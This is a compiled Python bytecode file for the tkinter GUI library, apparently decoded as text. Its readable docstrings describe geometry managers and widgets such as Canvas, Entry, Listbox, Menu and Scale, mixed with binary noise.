width as the master) relheight=amount - height of this widget between 0.0 and 1.0 relative to height of master (1.0 is the same height as the master) bordermode="inside" or "outside" - whether to take border width of master widget into account r*rNrPrs r Úplace_configurezPlace.place_configureÑ s5€ð, �‰� ‰ ؘ  T§W¡WÐ-Ø— ‘ ˜c 2Ó&ñ'õ (rcóR—|jjdd|j«y)úUnmap this widget.r*r´NrurMs r Ú place_forgetzPlace.place_forgetí s€à �‰� ‰ �W˜h¨¯©Õ0rcó²—t|j|jjdd|j««}d|vr|j |d«|d<|S)zEReturn information about the placing options for this widget.r*rrVrWrXs r Ú place_infozPlace.place_infoó sM€ô �t—w‘w §¡§ ¡ ¨W°f¸d¿g¹gÓ FÓ GˆØ �1‰9Ø×'Ñ'¨¨$©Ó0ˆAˆd‰G؈rN)rPrQrRrßr_r*rrtrbr´rdrrar+r%r!rr r]r]Ì sJ„ñ>ð#%ó(ð4"1Ð0€EÐ0ˆI˜ò1ð€Fòð €DØ ×-Ñ-Ð-€F‰\rr]có—eZdZdZifd„ZexZxZZejxZ Z ejxZ Z d„Z e Zd„Zd„ZeZej$xZZej(xZZej,xZZej0xZZej4xZZy)ÚGridzQGeometry manager Grid. Base class to use the methods grid_* in every widget.c óz—|jjdd|jf|j||«z«y)aPosition a widget in the parent widget in a grid. Use as options: column=number - use cell identified with given column (starting with 0) columnspan=number - this widget will span several columns in=master - use master to contain this widget in_=master - see 'in' option description ipadx=amount - add internal padding in x direction ipady=amount - add internal padding in y direction padx=amount - add padding in x direction pady=amount - add padding in y direction row=number - use cell identified with given row (starting with 0) rowspan=number - this widget will span several rows sticky=NSEW - if cell is larger on which sides will this widget stick to the cell boundary r-rNrPrs r Úgrid_configurezGrid.grid_configure s5€ð �‰� ‰ Ø�{ D§G¡GÐ,Ø— ‘ ˜c 2Ó&ñ'õ (rcóR—|jjdd|j«y)rar-r´NrurMs r Ú grid_forgetzGrid.grid_forget rTrcóR—|jjdd|j«y)z0Unmap this widget but remember the grid options.r-r1NrurMs r Ú grid_removezGrid.grid_remove" rTrcó²—t|j|jjdd|j««}d|vr|j |d«|d<|S)zSReturn information about the options for positioning this widget in a grid.r-rrVrWrXs r Ú grid_infozGrid.grid_info& r[rN)rPrQrRrßrhr-rrtrar6r1rDrArjr´rlrnrrHrFrJrrMrLrPrOrRr%r!rr rfrfÿ s­„ñ=ð "$ó(ð&!/Ð.€DÐ.ˆ9�vØ—~‘~Ð%€Dˆ9Ø-1×-FÑ-FÐF€OÐ*ò0ð€Fò0òð €DØ#×1Ñ1Ð1€Hˆ}Ø!%×!4Ñ!4Ð4€I�Ø'+×'=Ñ'=Ð=€LÐ$Ø—~‘~Ð%€Dˆ9Ø×+Ñ+Ð+€F‰[rrfcó2—eZdZdZd„Ziidfd„Zd„Zdd„Zy) Ú BaseWidgetzInternal class.cóô—|€ t«}||_|j|_d}d|vr|d}|d=|s�|jjj «}|dj «r|dz }|j€i|_|jj|d«dz}||j|<|dk(rd|›�}nd||fz}||_ |jdk(r d|z|_ n|jdz|z|_ i|_ |j|jjvr1|jj|jj«||jj|j<y) z6Internal function. Sets up information about children.NrËrßÚ!rrz!%s%drG) rérór<rBrPríÚisdigitrorrrvrrð)rNrór/rËÚcounts r Ú_setupzBaseWidget._setup9 sS€à ˆ>Ü&Ó(ˆF؈Œ Ø—)‘)ˆŒØˆØ �S‰=Ø�v‘;ˆDØ�F� ÙØ—>‘>×*Ñ*×0Ñ0Ó2ˆDØ�B‰x×ÑÔ!ؘ‘ �Ø×%Ñ%Ð-Ø)+�Ô&Ø×*Ñ*×.Ñ.¨t°QÓ7¸!Ñ;ˆEØ+0ˆF× "Ñ " 4Ñ (ؘ‹zÙ $�‘à $¨ Ñ.�؈Œ Ø �9‰9�cŠ>ؘD‘jˆD�Gà—i‘i #‘o¨Ñ,ˆDŒG؈Œ Ø �:‰:˜Ÿ™×-Ñ-Ñ -Ø �K‰K× Ñ  §¡Ñ ,× 4Ñ 4Ô 6Ø+/ˆ� ‰ ×јTŸZ™ZÒ(rr!cóº—|r t||f«}||_|j||«|j€g|_|j «D��cgc]\}}t |t «sŒ||f‘Œ}}}|D]\}}||=Œ |jj||jf|z|j|«z«|D]\}}|j||«Œycc}}w)zdConstruct a widget with the parent widget MASTER, a name WIDGETNAME and appropriate options.N) r4Ú widgetNamerurr-rr(r<r rvr²r) rNrórwr/roÚextrar2r3Úclassess r r zBaseWidget.__init__Y sЀñ ܘS "˜IÓ&ˆCØ$ˆŒØ � ‰ �F˜CÔ Ø × Ñ Ð $Ø "ˆDÔ Ø&)§i¡i¤kÔI¡k™d˜a ´ZÀÄ4Õ5H�A�q’6 kˆÑIÛ‰DˆAˆqØ�A‘ðà �‰� ‰ Ø ˜Ÿ™Ð ! EÑ )¨D¯M©M¸#Ó,>Ñ >ô @ã‰DˆAˆqØ �K‰K˜˜aÕ ñùó Js ÁCÁ(Ccóp—t|jj««D]}|j«Œ|jj d|j «|j|jjvr!|jj|j=tj|«y)z)Destroy this and all descendants widgets.rðN) rrr,rðr<r rvrrórar-s r rðzBaseWidget.destroyj sr€ä�d—m‘m×*Ñ*Ó,Ö-ˆA¨q¯y©y­{Ð-Ø �‰� ‰ �Y §¡Ô(Ø �:‰:˜Ÿ™×-Ñ-Ñ -Ø— ‘ ×$Ñ$ T§Z¡ZÐ0Ü � ‰ �TÕrcóV—|jj|j|f|z«Srru)rNrËrns r Ú_dozBaseWidget._dor s"€à�w‰w�|‰|˜TŸW™W d˜O¨dÑ2Ó3Ð3rN)r!)rPrQrRrßrur rðr|r!rr rprp6 s#„Ùò0ð@02°bÀó!ò"ô4rrpcó—eZdZdZy)ÚWidgetzxInternal class. Base class for a widget which can be positioned with the geometry managers Pack, Place or Grid.N)rPrQrRrßr!rr r~r~w s „ñð rr~có—eZdZdZdifd„Zy)ÚToplevelz"Toplevel widget, e.g. for dialogs.Nc ó�—|r t||f«}d}dD],}||vsŒ||}|ddk(r d|ddz}nd|z}|||fz}||=Œ.tj||d|i|«|j«}|j |j ««|j |j ««|j d|j«y) a%Construct a toplevel widget with the parent MASTER. Valid resource names: background, bd, bg, borderwidth, class, colormap, container, cursor, height, highlightbackground, highlightcolor, highlightthickness, menu, relief, screen, takefocus, use, visual, width.r!)r]Úclass_r rÚcolormaprßràr7Nryr()r4rpr rrÕrrõrð) rNrór/rorxÚwmkeyrÚoptrès r r zToplevel.__init__‚ sÌ€ñ ܘS "˜IÓ&ˆC؈óˆEà˜Š|ؘ%‘j�ð˜‘9 Ò#¨3¨u°S°b¨z©>¡SØ ™I�cØ  c  Ñ*�ؘ‘Jðô ×јD &¨*°c¸2¸uÔEØ�z‰z‹|ˆØ � ‰ �d—m‘m“oÔ&Ø � ‰ �4—:‘:“<Ô Ø � ‰ Ð(¨$¯,©,Õ7r©rPrQrRrßr r!rr r€r€ s„Ù,à"¨ô8rr€có(—eZdZdZdifd„Zd„Zd„Zy)rŠzButton widget.Nc ó6—tj||d||«y)aUConstruct a button widget with the parent MASTER. STANDARD OPTIONS activebackground, activeforeground, anchor, background, bitmap, borderwidth, cursor, disabledforeground, font, foreground highlightbackground, highlightcolor, highlightthickness, image, justify, padx, pady, relief, repeatdelay, repeatinterval, takefocus, text, textvariable, underline, wraplength WIDGET-SPECIFIC OPTIONS command, compound, default, height, overrelief, state, width ÚbuttonN©r~r ©rNrór/ros r r zButton.__init__  s€ô& �‰˜˜f h°°RÕ8rcóP—|jj|jd«y)a_Flash the button. This is accomplished by redisplaying the button several times, alternating between active and normal colors. At the end of the flash the button is left in the same normal/active state as when the command was invoked. This command is ignored if the button's state is disabled. ÚflashNrurMs r r�z Button.flashµ s€ð �‰� ‰ �T—W‘W˜gÕ&rcóN—|jj|jd«S)aInvoke the command associated with the button. The return value is the return value from the command, or an empty string if there is no command associated with the button. This command is ignored if the button's state is disabled. ÚinvokerurMs r r�z Button.invokeÁ s€ð�w‰w�|‰|˜DŸG™G XÓ.Ð.r)rPrQrRrßr r�r�r!rr rŠrŠ� s„Ùà"¨ó9ò* 'ó/rrŠcó’—eZdZdZdifd„Zd„Zd„Zd„Zd„Zdd„Zd=d„Zd=d„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d „Z!d!„Z"d"„Z#dd:„Z?d;„Z@y)AÚCanvasz?Canvas widget to display graphical elements like lines or text.Nc ó6—tj||d||«y)aConstruct a canvas widget with the parent MASTER. Valid resource names: background, bd, bg, borderwidth, closeenough, confine, cursor, height, highlightbackground, highlightcolor, highlightthickness, insertbackground, insertborderwidth, insertofftime, insertontime, insertwidth, offset, relief, scrollregion, selectbackground, selectborderwidth, selectforeground, state, takefocus, width, xscrollcommand, xscrollincrement, yscrollcommand, yscrollincrement.ÚcanvasNrŠr‹s r r zCanvas.__init__Ï s€ô �‰˜˜f h°°RÕ8rcóX—|jj|jdf|z«y)rÚaddtagNrurys r r•z Canvas.addtagÛ ó €à �‰� ‰ �d—g‘g˜xÐ(¨4Ñ/Õ0rcó*—|j|d|«y)z*Add tag NEWTAG to all items above TAGORID.ÚaboveN©r•©rNÚnewtagÚtagOrIds r Ú addtag_abovezCanvas.addtag_aboveß ó€à � ‰ �F˜G WÕ-rcó(—|j|d«y)zAdd tag NEWTAG to all items.rÅNr™)rNr›s r Ú addtag_allzCanvas.addtag_allã s€à � ‰ �F˜EÕ"rcó*—|j|d|«y)z*Add tag NEWTAG to all items below TAGORID.ÚbelowNr™ršs r Ú addtag_belowzCanvas.addtag_belowç ržrcó0—|j|d||||«y)zöAdd tag NEWTAG to item which is closest to pixel at X, Y. If several match take the top-most. All items closer than HALO are considered overlapping (all are closest). If START is specified the next below this tag is taken.ÚclosestNr™)rNr›rÆrÇÚhaloÚstarts r Úaddtag_closestzCanvas.addtag_closestë s€ð � ‰ �F˜I q¨!¨T°5Õ9rcó0—|j|d||||«y)zLAdd tag NEWTAG to all items in the rectangle defined by X1,Y1,X2,Y2.ÚenclosedNr™©rNr›Úx1Úy1Úx2Úy2s r Úaddtag_enclosedzCanvas.addtag_enclosedò s€ð � ‰ �F˜J¨¨B°°BÕ7rcó0—|j|d||||«y)zWAdd tag NEWTAG to all items which overlap the rectangle defined by X1,Y1,X2,Y2.Ú overlappingNr™r«s r Úaddtag_overlappingzCanvas.addtag_overlapping÷ s€ð � ‰ �F˜M¨2¨r°2°rÕ:rcó*—|j|d|«y)z)Add tag NEWTAG to all items with TAGORID.ÚwithtagNr™ršs r Úaddtag_withtagzCanvas.addtag_withtagü s€à � ‰ �F˜I wÕ/rcó|—|j|jj|jdf|z««xsdS)z|Return a tuple of X1,Y1,X2,Y2 coordinates for a rectangle which encloses all items with tags specified as arguments.r1NrErys r r1z Canvas.bbox s;€ð�}‰}Ø �G‰G�L‰L˜$Ÿ'™' 6Ð*¨TÑ1Ó 2ó4ò<Ø7;ð ñ=ð*+�—‘×!Ñ! !Õ$ð=ñ>ð >ùò>sÁ"A6c ó—t|«}|d}t|ttf«r|dd}ni}|jj |jj |jd|g||j||«z¢­Ž«S)rrßNr) r"rr'rr<rQr rvr²)rNÚitemTypernror/s r Ú_createzCanvas._create' s{€ä˜‹~ˆØ�2‰hˆÜ �cœD¤%˜=Ô )ؘ˜�9‰DàˆCØ�w‰w�~‰~˜l˜dŸg™gŸl™lØ �G‰G�X˜xð.à�T—]‘] 3¨Ó+Ñ+ò.ó/ð /rcó(—|jd||«S)z6Create arc shaped region with coordinates x1,y1,x2,y2.Úarc©rÈrms r Ú create_arczCanvas.create_arc3 s€à�|‰|˜E 4¨Ó,Ð,rcó(—|jd||«S)z%Create bitmap with coordinates x1,y1.rËrËrms r Ú create_bitmapzCanvas.create_bitmap7 ó€à�|‰|˜H d¨BÓ/Ð/rcó(—|jd||«S)z)Create image item with coordinates x1,y1.rcrËrms r Ú create_imagezCanvas.create_image; s€à�|‰|˜G T¨2Ó.Ð.rcó(—|jd||«S)z-Create line with coordinates x1,y1,...,xn,yn.r¾rËrms r Ú create_linezCanvas.create_line? ó€à�|‰|˜F D¨"Ó-Ð-rcó(—|jd||«S)z)Create oval with coordinates x1,y1,x2,y2.ÚovalrËrms r Ú create_ovalzCanvas.create_ovalC rÔrcó(—|jd||«S)z0Create polygon with coordinates x1,y1,...,xn,yn.ÚpolygonrËrms r Úcreate_polygonzCanvas.create_polygonG s€à�|‰|˜I t¨RÓ0Ð0rcó(—|jd||«S)z.Create rectangle with coordinates x1,y1,x2,y2.Ú rectanglerËrms r Úcreate_rectanglezCanvas.create_rectangleK s€à�|‰|˜K¨¨rÓ2Ð2rcó(—|jd||«S)z#Create text with coordinates x1,y1.ÚtextrËrms r Ú create_textzCanvas.create_textO rÔrcó(—|jd||«S)z+Create window with coordinates x1,y1,x2,y2.rtrËrms r Ú create_windowzCanvas.create_windowS rÏrcóX—|jj|jdf|z«y)zŠDelete characters of text items identified by tag or id in ARGS (possibly several times) from FIRST to LAST character (including).ÚdcharsNrurys r räz Canvas.dcharsW ó"€ð �‰� ‰ �d—g‘g˜xÐ(¨4Ñ/Õ0rcóX—|jj|jdf|z«y)z¸$Ð>rcóV—|jj|jdd||«y)z=Set the variable end of a selection in item TAGORID to INDEX.r"ÚtoNrur$s r Ú select_tozCanvas.select_to÷ s€à �‰� ‰ �T—W‘W˜h¨¨g°uÕ=rcóX—|jj|jd|«xsdS)z$Return the type of the item TAGORID.r(Nrurîs r r(z Canvas.typeû s"€à�w‰w�|‰|˜DŸG™G V¨WÓ5Ò=¸Ð=rrnrrE)rÌrÌ)é )ArPrQrRrßr r•r�r r£r¨r°r³r¶r1r¹r»r½rÂrÅrÈrÌrÎrÑrÓr×rÚrÝràrârärZrèrêrïròrôrörùrûrýrÅrrr=rrr Ú itemconfigr rírrƒrrrqrórrr r%r(r+r-r0r(r!rr r‘r‘Ì sK„ÙIà"¨ó 9ò1ò.ò#ò.ó:ò8ò ;ò 0ò<ó Có 'ó7ó 7ò >ò /ò-ò0ò/ò.ò.ò1ò3ò.ò0ò1ò 1ò/ò :ò +ò ò+ó7ò5ò 8ò -ò7ò7ò 2ò Gò1ò ;ó Dð€Jò 0ð €Eò/ó7ð ó,ò0ð ЀDˆ7ò0ò4ó<ò Bò1ò@ò?ò>ó>rr‘cóL‡—eZdZdZdifd„Zˆfd„Zd„Zd„Zd„Zd„Z d „Z ˆxZ S) Ú Checkbuttonz7Checkbutton widget which is either in on- or off-state.Nc ó6—tj||d||«y)aConstruct a checkbutton widget with the parent MASTER. Valid resource names: activebackground, activeforeground, anchor, background, bd, bg, bitmap, borderwidth, command, cursor, disabledforeground, fg, font, foreground, height, highlightbackground, highlightcolor, highlightthickness, image, indicatoron, justify, offvalue, onvalue, padx, pady, relief, selectcolor, selectimage, state, takefocus, text, textvariable, underline, variable, width, wraplength.Ú checkbuttonNrŠr‹s r r zCheckbutton.__init__ ó€ô �‰˜˜f m°S¸"Õ=rcóÀ•—|jd«s<|jjj«}tdz ad|›dt›�|d<t ‰|�||«y)NrËrrrr7)rrBrPríÚ_checkbutton_countÚsuperru)rNrór/rËrBs €r ruzCheckbutton._setup s[ø€ð�w‰w�vŒà—>‘>×*Ñ*×0Ñ0Ó2ˆDÜ  !Ñ #Ð ð˜d˜V 1Ô%7Ð$8Ð9ˆC�‰KÜ ‰‰�v˜sÕ#rcóP—|jj|jd«y©zPut the button in off-state.ÚdeselectNrurMs r r>zCheckbutton.deselect s€à �‰� ‰ �T—W‘W˜jÕ)rcóP—|jj|jd«y©zFlash the button.r�NrurMs r r�zCheckbutton.flash" ó€à �‰� ‰ �T—W‘W˜gÕ&rcóN—|jj|jd«S©zr�r�r"rIÚ __classcell__)rBs@r r5r5 s.ø„ÙAà"¨ó >ô $ò*ò'ò/ò(ö(rr5có„—eZdZdZdifd„Zdd„Zd„Zd„Zd„Zd„Z d „Z d „Z d „Z e Z d „ZeZd „ZeZd„ZeZd„ZeZd„ZeZy)ÚEntryz1Entry widget which allows displaying simple text.Nc ó6—tj||d||«y)aConstruct an entry widget with the parent MASTER. Valid resource names: background, bd, bg, borderwidth, cursor, exportselection, fg, font, foreground, highlightbackground, highlightcolor, highlightthickness, insertbackground, insertborderwidth, insertofftime, insertontime, insertwidth, invalidcommand, invcmd, justify, relief, selectbackground, selectborderwidth, selectforeground, show, state, takefocus, textvariable, validate, validatecommand, vcmd, width, xscrollcommand.ÚentryNrŠr‹s r r zEntry.__init__6 s€ô �‰˜˜f g¨s°BÕ7rcóT—|jj|jd||«y)z.Delete text from FIRST to LAST (not included).rZNru©rNÚfirstÚlasts r rZz Entry.deleteC ó€à �‰� ‰ �T—W‘W˜h¨¨tÕ4rcóN—|jj|jd«S)zReturn the text.rrurMs r rz Entry.getG ó€à�w‰w�|‰|˜DŸG™G UÓ+Ð+rcóR—|jj|jd|«y)zInsert cursor at INDEX.rNru©rNr=s r rz Entry.icursorK s€à �‰� ‰ �T—W‘W˜i¨Õ/rcó‚—|jj|jj|jd|««S)zReturn position of cursor.r=rrWs r r=z Entry.indexO s1€à�w‰w�~‰~˜dŸg™gŸl™lØ �G‰G�W˜eó%ó&ð &rcóT—|jj|jd||«y)zInsert STRING at INDEX.rNru)rNr=r»s r rz Entry.insertT s€à �‰� ‰ �T—W‘W˜h¨¨vÕ6rcóT—|jj|jdd|«yrrur>s r rzEntry.scan_markX s€à �‰� ‰ �T—W‘W˜f f¨aÕ0rcóT—|jj|jdd|«y)z€Adjust the view of the canvas to 10 times the difference between X and Y and the coordinates given in scan_mark.rrNrur>s r r zEntry.scan_dragto\ s€ð �‰� ‰ �T—W‘W˜f h°Õ2rcóT—|jj|jdd|«y)z9Adjust the end of the selection near the cursor to INDEX.rÚr#NrurWs r Úselection_adjustzEntry.selection_adjustb ó€à �‰� ‰ �T—W‘W˜k¨8°UÕ;rcóR—|jj|jdd«y)r'rÚr¶NrurMs r rÛzEntry.selection_clearh s€à �‰� ‰ �T—W‘W˜k¨7Õ3rcóT—|jj|jdd|«y)ú*Set the fixed end of a selection to INDEX.rÚr*NrurWs r Úselection_fromzEntry.selection_fromn s€à �‰� ‰ �T—W‘W˜k¨6°5Õ9rcó‚—|jj|jj|jdd««S)zSReturn True if there are characters selected in the entry, False otherwise.rÚÚpresentrrMs r Úselection_presentzEntry.selection_presentt ó3€ð�w‰w×!Ñ!Ø �G‰G�L‰L˜Ÿ™ +¨yÓ 9ó;ð ;rcóV—|jj|jdd||«y)ú3Set the selection from START to END (not included).rÚÚrangeNru©rNr§Úends r Úselection_rangezEntry.selection_range| s€à �‰� ‰ �T—W‘W˜k¨7°E¸3Õ?rcóT—|jj|jdd|«y)ú-Set the variable end of a selection to INDEX.rÚr/NrurWs r Ú selection_tozEntry.selection_to‚ s€à �‰� ‰ �T—W‘W˜k¨4°Õ7rr)rPrQrRrßr rZrrr=rrr r]r%rÛr(rbr+reÚselect_presentrlÚ select_rangeror0r!rr rLrL3 s{„Ù;à"¨ó 8ó5ò,ò0ò&ò 7ò1ò3ò <ð%€Mò4ð#€Lò:ð!€Kò;ð '€Nò@ð#€Lò8ð�IrrLcó—eZdZdZdifd„Zy)ÚFramezFFrame widget which may contain other widgets and can have a 3D border.Nc ó�—t||f«}d}d|vr d|df}|d=nd|vr d|df}|d=tj||d|i|«y)aConstruct a frame widget with the parent MASTER. Valid resource names: background, bd, bg, borderwidth, class, colormap, container, cursor, height, highlightbackground, highlightcolor, highlightthickness, relief, takefocus, visual, width.r!r‚z-classr r·N)r4r~r )rNrór/rorxs r r zFrame.__init__Œ se€ô ˜˜b˜ Ó"ˆØˆØ �s‰?ؘs 8™}Ð-ˆEØ�H‘ Ø ˜‰^ؘs 7™|Ð,ˆEØ�G� Ü�‰˜˜f g¨s°B¸Õ>rr†r!rr rsrs‰ s„ÙPà"¨ô?rrscó—eZdZdZdifd„Zy)ÚLabelz0Label widget which can display text and bitmaps.Nc ó6—tj||d||«y)aùConstruct a label widget with the parent MASTER. STANDARD OPTIONS activebackground, activeforeground, anchor, background, bitmap, borderwidth, cursor, disabledforeground, font, foreground, highlightbackground, highlightcolor, highlightthickness, image, justify, padx, pady, relief, takefocus, text, textvariable, underline, wraplength WIDGET-SPECIFIC OPTIONS height, state, width ÚlabelNrŠr‹s r r zLabel.__init__  s€ô$ �‰˜˜f g¨s°BÕ7rr†r!rr rvrv� s„Ù:à"¨ô8rrvcó¦—eZdZdZdifd„Zd„Zd„Zd„Zdd„Zdd„Z d „Z d „Z d „Z d „Z d „Zd„Zd„ZeZdd„ZeZd„ZeZdd„ZeZd„Zd„Zdd„ZeZy)ÚListboxz3Listbox widget which can display a list of strings.Nc ó6—tj||d||«y)a–Construct a listbox widget with the parent MASTER. Valid resource names: background, bd, bg, borderwidth, cursor, exportselection, fg, font, foreground, height, highlightbackground, highlightcolor, highlightthickness, relief, selectbackground, selectborderwidth, selectforeground, selectmode, setgrid, takefocus, width, xscrollcommand, yscrollcommand, listvariable.ÚlistboxNrŠr‹s r r zListbox.__init__¸ s€ô �‰˜˜f i°°bÕ9rcóR—|jj|jd|«y)z"Activate item identified by INDEX.ÚactivateNrurWs r r~zListbox.activate ó€à �‰� ‰ �T—W‘W˜j¨%Õ0rcóv—|j|jj|jd|««xsdS)zxReturn a tuple of X1,Y1,X2,Y2 coordinates for a rectangle which encloses the item identified by the given index.r1NrErWs r r1z Listbox.bboxÆ s-€ð�}‰}˜TŸW™WŸ\™\¨$¯'©'°6¸5ÓAÓBÒJÀdÐJrcót—|j|jj|jd««xsdS)z.Return the indices of currently selected item.Ú curselectionr!rErMs r r‚zListbox.curselectionË s)€à�}‰}˜TŸW™WŸ\™\¨$¯'©'°>ÓBÓCÒIÀrÐIrcóT—|jj|jd||«y)z+Delete items from FIRST to LAST (included).rZNrurPs r rZzListbox.deleteÏ rSrcóÖ—|�A|jj|jj|jd||««S|jj|jd|«S)z0Get list of items from FIRST to LAST (included).rr¨rPs r rz Listbox.getÓ sX€à Ð Ø—7‘7×$Ñ$ T§W¡W§\¡\Ø—‘˜  tó&-ó.ð .ð—7‘7—<‘< §¡¨°Ó6Ð 6rcó’—|jj|jd|«}|dk(ry|jj|«S)z+Return index of item identified with INDEX.r=r‹N©r<r rvrQ©rNr=rÛs r r=z Listbox.indexÛ s8€à �G‰G�L‰L˜Ÿ™ '¨5Ó 1ˆØ �Š;˜tØ�w‰w�~‰~˜aÓ Ð rcóZ—|jj|jd|f|z«y)zInsert ELEMENTS at INDEX.rNru)rNr=Úelementss r rzListbox.insertá s"€à �‰� ‰ �d—g‘g˜x¨Ð/°(Ñ:Õ;rcó‚—|jj|jj|jd|««S)z5Get index of item which is nearest to y coordinate Y.Únearestr)rNrÇs r r‹zListbox.nearestå s1€à�w‰w�~‰~˜dŸg™gŸl™lØ �G‰G�Y ó#ó$ð $rcóV—|jj|jdd||«yrrurGs r rzListbox.scan_markê rrcóV—|jj|jdd||«y)z�Adjust the view of the listbox to 10 times the difference between X and Y and the coordinates given in scan_mark.rrNrurGs r r zListbox.scan_dragtoî ó €ð �‰� ‰ �T—W‘W˜f h°°1Õ5rcóR—|jj|jd|«y)z"Scroll such that INDEX is visible.ÚseeNrurWs r r�z Listbox.seeô ó€à �‰� ‰ �T—W‘W˜e UÕ+rcóT—|jj|jdd|«y)z-Set the fixed end oft the selection to INDEX.rÚr.NrurWs r Úselection_anchorzListbox.selection_anchorø r^rcóV—|jj|jdd||«y)z2Clear the selection from FIRST to LAST (included).rÚr¶NrurPs r rÛzListbox.selection_clearþ s!€à �‰� ‰ �T—W‘Wؘg u¨dõ 4rcó„—|jj|jj|jdd|««S)z.Return True if INDEX is part of the selection.rÚÚincludesrrWs r Úselection_includeszListbox.selection_includes s5€à�w‰w×!Ñ! $§'¡'§,¡,Ø �G‰G�[ *¨eó#5ó6ð 6rcóV—|jj|jdd||«y)ziSet the selection from FIRST to LAST (included) without changing the currently selected elements.rÚrNrurPs r Ú selection_setzListbox.selection_set s €ð �‰� ‰ �T—W‘W˜k¨5°%¸Õ>rcó€—|jj|jj|jd««S)z-Return the number of elements in the listbox.rOrrMs r rOz Listbox.size s(€à�w‰w�~‰~˜dŸg™gŸl™l¨4¯7©7°FÓ;Ó<ÐØˆFà!%§¡¨FÓ!3°T·Z±ZÀÓ5G�Jˆ Ø Ð  JÐ$6Ø%*Ñ "ˆJ˜ ä�z :°¡>Ö2ˆAؘD×,Ñ,¨QÓ/Ò/ܘŸ™ q¨)Ó4Ó5�ÚØ×&Ñ& qÕ)ð 3ð �‰� ‰ �T—W‘W˜h¨°Õ7rcóX—|jj|jd|d|z«S)z=Return the resource value of a menu item for OPTION at INDEX.rÉr7rurœs r rÉzMenu.entrycget s#€à�w‰w�|‰|˜DŸG™G [°%¸¸v¹ÓFÐFrc ó,—|jd|f||«S)zConfigure a menu item at INDEX.ÚentryconfigurerrCs r rÐzMenu.entryconfigureƒ s€à�‰Ð 0°%Ð8¸#¸rÓBÐBrcó’—|jj|jd|«}|dvrdS|jj|«S)z4Return the index of a menu item identified by INDEX.r=)rÌr‹Nr†r‡s r r=z Menu.index‰ s;€à �G‰G�L‰L˜Ÿ™ '¨5Ó 1ˆØ˜LÑ(ˆtÐ?¨d¯g©g¯n©n¸QÓ.?Ð?rcóP—|jj|jd|«S)zRInvoke a menu item identified by INDEX and execute the associated command.r�rurWs r r�z Menu.invokeŽ s€ð�w‰w�|‰|˜DŸG™G X¨uÓ5Ð5rcóT—|jj|jd||«y)zDisplay a menu at position X,Y.ÚpostNrurGs r rÔz Menu.post“ s€à �‰� ‰ �T—W‘W˜f a¨Õ+rcóP—|jj|jd|«S)z*Return the type of the menu item at INDEX.r(rurWs r r(z Menu.type— s€à�w‰w�|‰|˜DŸG™G V¨UÓ3Ð3rcóP—|jj|jd«y)z Unmap a menu.ÚunpostNrurMs r r×z Menu.unpost› rGrcó‚—|jj|jj|jd|««S)zNReturn the x-position of the leftmost pixel of the menu item at INDEX.Ú xpositionrrWs r rÙzMenu.xpositionŸ s,€ð�w‰w�~‰~˜dŸg™gŸl™l¨4¯7©7°KÀÓGÓHÐHrcó‚—|jj|jj|jd|««S)zEReturn the y-position of the topmost pixel of the menu item at INDEX.Ú ypositionrrWs r rÛzMenu.yposition¤ s1€à�w‰w�~‰~˜dŸg™gŸl™lØ �G‰G�[ %ó)ó*ð *r©rÌr)rPrQrRrßr r¦r~r*r¬r¯r²rµr¸rr¼r¿rÂrÄrÆrZrÉrÐrÈr=r�rÔr(r×rÙrÛr!rr r¢r¢) s΄ÙZà"¨ó7ó7ò1ð!#ó)ð !ó'ð#%ó+ð!ó'ð#%ó+ð!#ó)ð+-ó)ð )+ó1ð-/ó5ð)+ó1ð-/ó5ð+-ó3ó8ò GóCð!€Kò@ò 6ò ,ò4ò(òIó *rr¢có—eZdZdZdifd„Zy)Ú Menubuttonz(Menubutton widget, obsolete since Tk8.0.Nc ó6—tj||d||«y)NÚ menubuttonrŠr‹s r r zMenubutton.__init__­ s€Ü�‰˜˜f l°C¸ÕzRadiobutton.deselectÇ s€ð �‰� ‰ �T—W‘W˜jÕ)rcóP—|jj|jd«yr@rurMs r r�zRadiobutton.flashÌ rArcóN—|jj|jd«SrCrurMs r r�zRadiobutton.invokeÐ rDrcóP—|jj|jd«yrFrurMs r r"zRadiobutton.selectÔ rGr) rPrQrRrßr r>r�r�r"r!rr ræræ¸ s#„ÙQà"¨ó >ò*ò 'ò/ó(rræcó6—eZdZdZdifd„Zd„Zd„Zdd„Zd„Zy) ÚScalez1Scale widget which can display a numerical scale.Nc ó6—tj||d||«y)a×Construct a scale widget with the parent MASTER. Valid resource names: activebackground, background, bigincrement, bd, bg, borderwidth, command, cursor, digits, fg, font, foreground, from, highlightbackground, highlightcolor, highlightthickness, label, length, orient, relief, repeatdelay, repeatinterval, resolution, showvalue, sliderlength, sliderrelief, state, takefocus, tickinterval, to, troughcolor, variable, width.rNrŠr‹s r r zScale.__init__Ü s€ô �‰˜˜f g¨s°BÕ7rcóð—|jj|jd«} |jj|«S#tt t f$r|jj|«cYSwxYw)z*Get the current value as integer or float.r)r<r rvrQrúr+rñrRrs r rz Scale.getç s]€à—‘— ‘ ˜TŸW™W eÓ,ˆð ,Ø—7‘7—>‘> %Ó(Ð (øÜœI¤xÐ0ò ,Ø—7‘7×$Ñ$ UÓ+Ò +ð ,ús¨AÁ/A5Á4A5cóR—|jj|jd|«y)zSet the value to VALUE.rNrurs r rz Scale.setï r‘rcón—|j|jj|jd|««S)z•Return a tuple (X,Y) of the point along the centerline of the trough that corresponds to VALUE or the current value if None is given.rÅrErs r rÅz Scale.coordsó s(€ð �}‰}˜TŸW™WŸ\™\¨$¯'©'°8¸UÓCÓDÐDrcóR—|jj|jd||«S)zcReturn where the point X,Y lies. Valid return values are "slider", "though1" and "though2".ÚidentifyrurGs r rózScale.identifyú ó!€ð�w‰w�|‰|˜DŸG™G Z°°AÓ6Ð6rr) rPrQrRrßr rrrÅrór!rr ríríÙ s$„Ù;à"¨ó 8ò,ò,óEó7rrícóB—eZdZdZdifd„Zd d„Zd„Zd„Zd„Zd„Z d „Z y) Ú Scrollbarz?Scrollbar widget which displays a slider at a certain position.Nc ó6—tj||d||«y)alConstruct a scrollbar widget with the parent MASTER. Valid resource names: activebackground, activerelief, background, bd, bg, borderwidth, command, cursor, elementborderwidth, highlightbackground, highlightcolor, highlightthickness, jump, orient, relief, repeatdelay, repeatinterval, takefocus, troughcolor, width.Ú scrollbarNrŠr‹s r r zScrollbar.__init__s€ô �‰˜˜f k°3¸Õ;rcóX—|jj|jd|«xsdS)a€Marks the element indicated by index as active. The only index values understood by this method are "arrow1", "slider", or "arrow2". If any other value is specified then no element of the scrollbar will be active. If index is not specified, the method returns the name of the element that is currently active, or None if no element is active.r~NrurWs r 